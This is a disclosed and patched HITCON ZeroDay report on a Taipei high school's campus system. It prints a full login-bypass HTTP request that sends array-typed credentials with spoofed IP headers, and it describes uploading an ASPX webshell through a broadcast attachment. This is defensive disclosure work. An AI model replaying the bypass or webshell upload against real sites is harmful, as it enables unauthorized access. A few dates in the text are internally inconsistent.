Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00552
- Vendor: 臺北市立第一女子高級中學
- Title: 北一女中數位校園系統Logic Flaws led to upload webshell
- Introduction: 推測為型態錯誤導致的邏輯漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2020/06/28 23:41:08 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/06/28 23:41:42 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/06/28 23:46:07 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/06/29 07:10:19 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/06/29 22:26:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/06/30 16:45:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/06/30 16:46:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/08 12:07:28 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/08 22:45:02 : 確認已修補 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00552
- 通報者:lebr0n_li (wqwfeoipwqjfpwiejfdpioqweoifjqwf)
- 風險:高
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
敘述
測試起因:
想說趁暑假找一下透過外部承包(黑xx股份有限公司所提供的網站)的學網是否存在漏洞。
想說這種網站的漏洞找尋的難度適中適合新手(沒有hackerone上的bug bountry難XD),通用型的漏洞也比較有回報的價值。
看到剛好我之前曾通報過2次的北一女中也使用該承包商提供的網站
也想說因為說不定在挖掘的過程中,會找到該站其他的漏洞(已經找到過兩次了),故在該學網上測試。
結果外包網站的漏洞還沒找到,旁站的漏洞倒是找到了。
過程如下:
1.透過首頁找到數位校園,因為母校之前也有找到漏洞,所以稍微測試了一下。
剛好最近學到若以錯誤型態之變數做為請求,會找到一些意想不到的邏輯錯誤,或是噴錯(例如strcmp造成的邏輯漏洞)。
故在數位校園網站的登入請求中,將txtAccount與txtPwd以陣列型態取代(txtAccount[]、txtPwd[])
修改後的請求如下
POST /Default.aspx HTTP/1.1
Host: ecampus.fg.tp.edu.tw
Content-Length: 476
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ecampus.fg.tp.edu.tw
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ecampus.fg.tp.edu.tw/Default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.3.609005654.1592140960; ASP.NET_SessionId=nz130q4g3on4lwxizs4lwm2w
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
EVENTTARGET=&EVENTARGUMENT=&VIEWSTATE=%2FwEPDwUJNjU1Njc4MDk2ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUIaW1nTG9naW69kAu9JbkSIAahRAiCpqzWsP5RHLgtu4aAzpqyoppscQ%3D%3D&VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=%2FwEdAAVIG6zCrSe5PAirpWwm8ldWUsZFDRvKnF%2F8WUewoTn%2FzpvrK11iWalzCH3f7UOTfCgz0pbtemMeEG4g1PnXXStTh%2Bt7yqDLDXySoW4KOnOy7uRb2hdUl%2BAl%2FEFYHxqXIhvOghsCD%2BVq4EKbdIB%2Ban6s&txtAccount[]=green&imgLogin.x=42&imgLogin.y=47&txtPwd[]=green&txtAuthCode=961246
成功登入!?
2.在利用網站發布帶附件之廣播,測試的廣播有:
111年發布的預約廣播時間有點忘了(不包含附件)
115/06/05年的預約廣播(包含一句話webshell之測試檔案),檔名為0000023073_1.aspx
上述2個廣播因為是預約廣播,測試後刪不掉,雖然不造成影響,但不好意思了.........
6/28立即發布的廣播(包含一句話webshell之測試檔案),檔名為0000023073_1.aspx(廣播已刪除)
經測試後可成功連接
3.測試完畢後已將兩個檔案一句話木馬之code移除,已是無用之aspx檔案了,只剩testforreportonly字樣
聲明:
本人點到為止並無惡意,免費漏洞檢測的目的是幫助企業、政府機關、學校防止資安問題,並在經驗中累積個人實力
並未利用漏洞深入,請相關單位放心
若有疑慮可立即透過組織帳號與我聯繫,本人願意接受一切合法調查
修補建議
1.將有問題的登入檢查改掉
(方便的話也希望貴校負責網管的老師可以透過網站的訊息功能與我聯繫,我也想了解到底是什麼確切的原因導致的問題發生
我們也可以一起討論解決之方案,我也想順便學習一下,謝謝老師!)
2.檔案名稱及副檔名需重新命名或二次渲染來過濾惡意檔案,目前只有名稱會依上傳順序做改變,副檔名是直接取使用者上傳之副檔名,所以造成這次可上傳ASPX測試後門。以次來避免今後有人拿到可發廣播權限之帳號做惡意攻擊,也避免下次登入被攻破時直接被get shell
3.另請協助刪除測試後門與預約之廣播,並檢查是否有遭其它人上傳後門
祝貴校辦學績效蒸蒸日上!!!